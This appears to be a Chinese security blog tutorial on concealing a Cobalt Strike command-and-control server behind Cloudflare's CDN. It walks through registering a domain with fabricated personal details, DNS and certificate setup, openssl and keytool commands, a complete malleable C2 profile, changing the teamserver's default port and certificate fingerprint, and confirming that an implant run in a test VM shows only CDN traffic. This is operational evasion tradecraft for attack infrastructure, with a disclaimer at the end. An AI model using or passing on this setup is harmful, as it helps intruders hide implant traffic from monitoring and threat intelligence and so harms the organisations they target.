CDN隐匿Cobalt Strike

admin 2022年3月27日02:07:11评论88 views字数 3439阅读11分27秒阅读模式

0x00 简介


  1. CobaltStrike概述

Cobalt Strike是一款渗透测试神器,常被业界人称为CS。成为了渗透测试中不可缺少的利器。其拥有多种协议主机上线方式,集成了提权,凭据导出,端口转发,socket代理,office攻击,文件捆绑,钓鱼等功能。同时,Cobalt Strike还可以调用Mimikatz等其他知名工具并且可以作为团队服务使用,因此广受网络安全人员喜爱。


  1. CDN及特征隐匿的作用

虽然Cobalt Strike在渗透测试使用过程中非常的方便和强大,但其默认的特征信息使得CS服务端也会很容易被态势感知等监测设备所识别到,并且vps开启默认端口后也会被情报网站标记为攻击vps,且如果teamserver密码简单也会被反爆破。

因此就需要对Cobalt Strike的流量、特征等进行隐匿。本文章采用的是CDN+修改特征隐匿的方法。

CDN隐匿Cobalt Strike


0x01  注册free域名


这里使用www.freenom.com平台进行注册,需要登录,因此提前准备好一个邮箱,国内外邮箱都行。
tips:
1、在选择好域名并注册后,需要登录平台,然后填写相关信息以用于注册(当前ip所处的地址这里必须一致、邮编、手机号等可采用漂亮的虚拟信息)
2、后续要使用cdn平台,因此需要在这个域名平台里面绑定cdn平台的ns记录。


详细配置参见以下文章,非常详细,按步骤一步步来即可。
        https://zhuanlan.zhihu.com/p/115535965


0x02  CDN平台配置DNS解析


域名注册完成后先不要急着解析,进行第二步的CDN平台配置。
CDN平台建议使用cloudflare    
https://dash.cloudflare.com/ 先注册个账号登录一波,使用邮箱注册,方便起见可以和freenom平台用同一个邮箱


  1. 进入cloudflare平台后,点击左侧的网站,然后添加一个域名,这里添加的域名就是freenom注册的

CDN隐匿Cobalt Strike

  1. 站点添加完成后,点击站点进去,在左侧DNS中添加记录

CDN隐匿Cobalt Strike

  1. 在添加完成后如果上面出现这样的告警,就代表在freenom平台中还没有修改ns记录,需要去将ns记录修改为cdn平台的

CDN隐匿Cobalt StrikeCDN隐匿Cobalt Strike

  1. 进入freenom平台修改ns记录,先登录,进入到域名管理处,修改ns名称。这里要填写的ns名称是CDN平台给分配的,参见上面一张图,ns前缀基本都是随机分配的,因此以CDN平台上的为准。

CDN隐匿Cobalt Strike

  1. freenom改好ns记录后,再到CDN平台上点击上上图的“检查名称服务器”即可更新完成。此时再去解析域名、ping域名,都会成功返回到CDN的ip地址

CDN隐匿Cobalt Strike


0x03  CDN平台创建证书


  1. 在CDN平台左侧的SSL/TLS-----概述中,将右边的加密模式选择为灵活

CDN隐匿Cobalt Strike

  1. 在左侧源服务器中,点击创建证书。源服务器私钥类型选择ECC,密钥格式选择PEM。   一定要将源证书和私钥复制下来!后续要用到。

CDN隐匿Cobalt StrikeCDN隐匿Cobalt Strike


0x04  CDN平台禁用缓存


CDN默认开启缓存,可能会影响后续主机上线、shell命令回显等。因此这里有两种关闭缓存的方法建议都开启。


  1. 在CDN平台-缓存-配置-开发者模式-开启

CDN隐匿Cobalt Strike

  1. 在规则-创建页面规则中创建两条规则。以下规则中的域名不需要填写A记录名


    ①、*.your dmoain/*

    、your dmoain/*
    ③、将规则设置为-缓存级别-绕过

    CDN隐匿Cobalt StrikeCDN隐匿Cobalt Strike


0x05  VPS配置CS证书


  1. 进入VPS中的CS文件夹中,创建两个文件。server.pem(文件中贴入上面的源证书)和server.key(文件中贴入上面的私钥)保存即可

CDN隐匿Cobalt Strike

  1. 生成新的cobaltstrike证书。如果原先的cobaltstrike文件夹内有默认的.store证书,需要先删除掉默认的。使用以下命令生成:


openssl pkcs12 -export -in server.pem -inkey server.key -out cfcert.p12 -name cloudflare_cert -passout pass:123456       这里是利用pem和key文件创建新的cert证书    ps:这里的pass密码需要修改,改为复杂的密码,不要使用123456


keytool -importkeystore -deststorepass 123456 -destkeypass 123456 -destkeystore cfcert.store -srckeystore cfcert.p12 -srcstoretype PKCS12 -srcstorepass 123456 -alias cloudflare_cert        ps:这里的所有密码都要和上面的一致


  1. 在CS目录内创建profile文件,名称自定义,这里使用C2.profile,然后将以下内容贴入到profile文件中。如果原先有默认的profile则需要删掉。    ps:以下内容中,password需要改为上面创建证书一致的密码。host需要改为你在CDN平台中绑定的域名,切记是要加A记录前缀的完整域名。


https-certificate {
set keystore "cfcert.store";
set password "123456";
}
http-config {
header "Content-Type" "application";
}
http-stager {
set uri_x86 "/api/1";
set uri_x64 "/api/2";
client {
header "Host" "your host";}
server {
output{
print;
}
}
}
http-get {
set uri "/api/3";
client {
header "Host" "your host";
metadata {
base64;
header "Cookie";
}
}
server {
output{
print;
}
}
}
http-post {
set uri "/api/4";
client {
header "Host" "your host";
id {
uri-append;
}
output{
print;
}
}
server {
output{
print;
}
}
}


  1. cloudflareCDN免费支持的端口如下:

http:
80、8080、8880、2052、2082、2086、2095
https:
443、2053、2083、2087、2096、8443

0x06  teamserver特征隐匿


6.1 修改teamserver默认端口

编辑teamserver配置文件,将CobaltStrike默认的50050端口改成其它端口

CDN隐匿Cobalt Strike


6.2 修改teamserver默认指纹信息

编辑teamserver配置文件,默认的是cobalt strike信息或Microsoft信息

CN=Major Cobalt Strike, OU=AdvancedPenTesting, O=cobaltstrike, L=Somewhere, S=Cyberspace, C=Earth

可将指纹信息改为其它的内容

CN=baidu, OU=baidu, O=baidu, L=baidu, S=baidu, C=baidu
#或者自定义完整的内容,国家、城市等信息

0x07  启动teamserver


  1. 启动teamserver的命令需要微调下:
    ./teamserver VPS公网IP 密码 C2.profile          ## 后面需要加上创建的C2.profile


  1. 连接上teamserver后,创建个监听器和马子。注意监听器的地址要填写CDN绑定的域名,而不是IP地址了
    PS:在创建监听器时,建议使用https模式。并且监听器的https上线端口不要使用默认的443,否则可能会无法正常上线。建议监听端口使用CDN支持的其它端口。

CDN隐匿Cobalt Strike

CDN隐匿Cobalt Strike


0x08  上线测试隐匿效果


  1. 先在虚拟机里面打开个wireshark开启抓包模式,然后将马子丢到虚拟机里面执行。

  2. 此时在CS里面主机已经上线。然后看wireshark中的数据包,过滤vps真实地址发现一条都没有,均是和CDN地址的交互数据


下图过滤VPS地址:
CDN隐匿Cobalt Strike

下图过滤CDN地址:

CDN隐匿Cobalt Strike

    下图可以看到追踪tcp流的内容中只有一个匿名域名,其它内容都是加密的。

CDN隐匿Cobalt Strike


至此CDN隐匿完成。


CDN隐匿Cobalt Strike




CDN隐匿Cobalt Strike



CDN隐匿Cobalt Strike


免责声明

由于传播、利用本公众号NGC660安全实验室所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号NGC600安全实验室及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!


原文始发于微信公众号(NGC660安全实验室):CDN隐匿Cobalt Strike

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月27日02:07:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CDN隐匿Cobalt Strikehttps://cn-sec.com/archives/843248.html

发表评论

匿名网友 填写信息